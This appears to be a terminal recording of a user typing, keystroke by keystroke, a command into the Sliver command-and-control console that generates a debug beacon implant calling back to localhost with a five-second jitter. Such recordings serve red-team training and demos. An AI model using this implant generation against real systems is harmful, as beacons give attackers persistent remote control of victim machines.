[5.394933, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.396164, "o", "\u001b[6n"]
|
||||
[5.398201, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbea\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.39906, "o", "\u001b[107D\u001b[1A\u001b[21D\u001b[9C\u001b[107D\u001b[21C\u001b[?25h"]
|
||||
[5.56706, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.570584, "o", "\u001b[6n"]
|
||||
[5.577426, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.578044, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[22D\u001b[9C\u001b[107D\u001b[22C\u001b[?25h"]
|
||||
[5.684935, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.701874, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeaco\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[5.703438, "o", "\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[23D\u001b[9C\u001b[107D\u001b[23C\u001b[?25h"]
|
||||
[5.713547, "o", "\u001b[?25l"]
|
||||
[5.714074, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.718082, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.718541, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[24D\u001b[9C\u001b[107D\u001b[24C\u001b[?25h"]
|
||||
[5.888006, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.900577, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[5.901326, "o", "\u001b[25D\u001b[9C\u001b[107D\u001b[25C\u001b[?25h"]
|
||||
[6.09825, "o", "\u001b[?25l"]
|
||||
[6.10032, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.117058, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.119032, "o", "\u001b[107D\u001b[1A\u001b[26D\u001b[9C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[6.318356, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.325885, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[9C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[6.435974, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.449338, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.451031, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[9C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[6.545817, "o", "\u001b[?25l\u001b[107D"]
|
||||
[6.548899, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.553581, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[9C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[6.707944, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.725087, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlo\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.725431, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[9C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
[6.800339, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.80793, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[9C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[6.873036, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.880291, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[9C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[6.914397, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.9203, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocal\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[6.920508, "o", "\u001b[1A\u001b[33D\u001b[9C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[7.057965, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.058914, "o", "\u001b[6n"]
|
||||
[7.07196, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[9C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[7.121583, "o", "\u001b[?25l\u001b[107D"]
|
||||
[7.124019, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.127161, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalho\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[7.127736, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[9C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[7.155871, "o", "\u001b[?25l\u001b[107D"]
|
||||
[7.156541, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.158839, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhos\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[9C\u001b[107D\u001b[36C"]
|
||||
[7.159281, "o", "\u001b[?25h"]
|
||||
[7.249506, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.255894, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.256084, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[9C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[7.319518, "o", "\u001b[?25l"]
|
||||
[7.321996, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.326926, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[9C\u001b[107D\u001b[38C"]
|
||||
[7.327526, "o", "\u001b[?25h"]
|
||||
[8.244613, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.259371, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.261152, "o", "\u001b[107D\u001b[1A\u001b[39D\u001b[9C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[8.373314, "o", "\u001b[?25l"]
|
||||
[8.381984, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.386997, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.387176, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[40D\u001b[9C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[8.54582, "o", "\u001b[?25l\u001b[107D"]
|
||||
[8.546314, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.551965, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.553877, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[9C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[8.659966, "o", "\u001b[?25l"]
|
||||
[8.664278, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.668403, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--sk\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.669495, "o", "\u001b[107D\u001b[1A\u001b[42D\u001b[9C\u001b[107D\u001b[42C\u001b[?25h"]
|
||||
[8.774433, "o", "\u001b[?25l"]
|
||||
[8.776254, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.782822, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--ski\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[9C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[8.861897, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.869467, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[44D\u001b[9C\u001b[107D\u001b[44C\u001b[?25h"]
|
||||
[9.209609, "o", "\u001b[?25l"]
|
||||
[9.211815, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.218382, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[45D\u001b[9C\u001b[107D\u001b[45C\u001b[?25h"]
|
||||
[9.369014, "o", "\u001b[?25l"]
|
||||
[9.370477, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.383545, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[46D\u001b[9C\u001b[107D\u001b[46C\u001b[?25h"]
|
||||
[9.538155, "o", "\u001b[?25l"]
|
||||
[9.539319, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.542469, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-sy\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[9.543267, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[47D\u001b[9C\u001b[107D\u001b[47C\u001b[?25h"]
|
||||
[9.941324, "o", "\u001b[?25l"]
|
||||
[9.956412, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.961491, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-sym\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[9.96293, "o", "\u001b[1A\u001b[48D\u001b[9C\u001b[107D\u001b[48C\u001b[?25h"]
|
||||
[10.166048, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.175508, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.177995, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[49D\u001b[9C\u001b[107D\u001b[49C\u001b[?25h"]
|
||||
[10.253067, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.25789, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[50D\u001b[9C\u001b[107D"]
|
||||
[10.258848, "o", "\u001b[50C\u001b[?25h"]
|
||||
[10.313217, "o", "\u001b[1 q"]
|
||||
[10.34198, "o", "\u001b[1 q"]
|
||||
[10.342195, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.344477, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.344758, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[53D\u001b[9C\u001b[107D\u001b[53C\u001b[?25h"]
|
||||
[10.88006, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.888613, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.890304, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[54D\u001b[9C\u001b[107D\u001b[54C\u001b[?25h"]
|
||||
[11.002112, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.014464, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.015491, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[55D\u001b[9C\u001b[107D\u001b[55C\u001b[?25h"]
|
||||
[11.283116, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.299121, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--d\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.300946, "o", "\u001b[107D\u001b[1A\u001b[56D\u001b[9C\u001b[107D\u001b[56C\u001b[?25h"]
|
||||
[11.336739, "o", "\u001b[?25l\u001b[107D"]
|
||||
[11.338443, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.344194, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--de\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[57D\u001b[9C"]
|
||||
[11.344355, "o", "\u001b[107D\u001b[57C\u001b[?25h"]
|
||||
[11.357833, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.358428, "o", "\u001b[6n"]
|
||||
[11.361392, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--deb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[58D\u001b[9C\u001b[107D\u001b[58C\u001b[?25h"]
|
||||
[11.405303, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.405633, "o", "\u001b[6n"]
|
||||
[11.407984, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debu\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.408951, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[59D\u001b[9C\u001b[107D\u001b[59C\u001b[?25h"]
|
||||
[11.591917, "o", "\u001b[?25l"]
|
||||
[11.597606, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.604722, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.605927, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[60D\u001b[9C\u001b[107D\u001b[60C\u001b[?25h"]
|
||||
[11.704325, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.712392, "o", "\u001b[6n"]
|
||||
[11.716215, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.716363, "o", "\u001b[107D\u001b[1A\u001b[61D\u001b[9C\u001b[107D\u001b[61C\u001b[?25h"]
|
||||
[12.326269, "o", "\u001b[?25l"]
|
||||
[12.328608, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.334497, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[12.336471, "o", "\u001b[1A\u001b[62D\u001b[9C\u001b[107D\u001b[62C\u001b[?25h"]
|
||||
[12.619637, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[12.628956, "o", "\u001b[6n"]
|
||||
[12.634937, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[63D\u001b[9C\u001b[107D\u001b[63C\u001b[?25h"]
|
||||
[13.029882, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.031634, "o", "\u001b[6n"]
|
||||
[13.036477, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[13.036757, "o", "\u001b[107D\u001b[1A\u001b[64D\u001b[9C\u001b[107D\u001b[64C\u001b[?25h"]
|
||||
[13.308092, "o", "\u001b[?25l"]
|
||||
[13.312959, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.318384, "o", "\u001b[6n"]
|
||||
[13.32643, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[65D\u001b[9C\u001b[107D\u001b[65C\u001b[?25h"]
|
||||
[13.810937, "o", "\u001b[?25l\u001b[107D"]
|
||||
[13.81462, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.824223, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.825588, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[66D\u001b[9C\u001b[107D\u001b[66C\u001b[?25h"]
|
||||
[14.693013, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[14.700287, "o", "\u001b[6n"]
|
||||
[14.706924, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[67D\u001b[9C\u001b[107D\u001b[67C\u001b[?25h"]
|
||||
[15.237577, "o", "\u001b[?25l\u001b[107D"]
|
||||
[15.241053, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[15.247009, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[15.249159, "o", "\u001b[1A\u001b[68D\u001b[9C\u001b[107D\u001b[68C\u001b[?25h"]
|
||||
[15.479446, "o", "\u001b[1 q"]
|
||||
[15.506974, "o", "\u001b[1 q"]
|
||||
[15.50792, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.509462, "o", "\u001b[6n"]
|
||||
[15.513203, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[15.515282, "o", "\u001b[2mbeacon interval seconds\u001b[0m\u001b[0m\u001b[0K\r\r\n\u001b[0K\u001b[0m\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[1A\u001b[68D\u001b[9C\u001b[107D\u001b[68C\u001b[?25h"]
|
||||
[17.033385, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
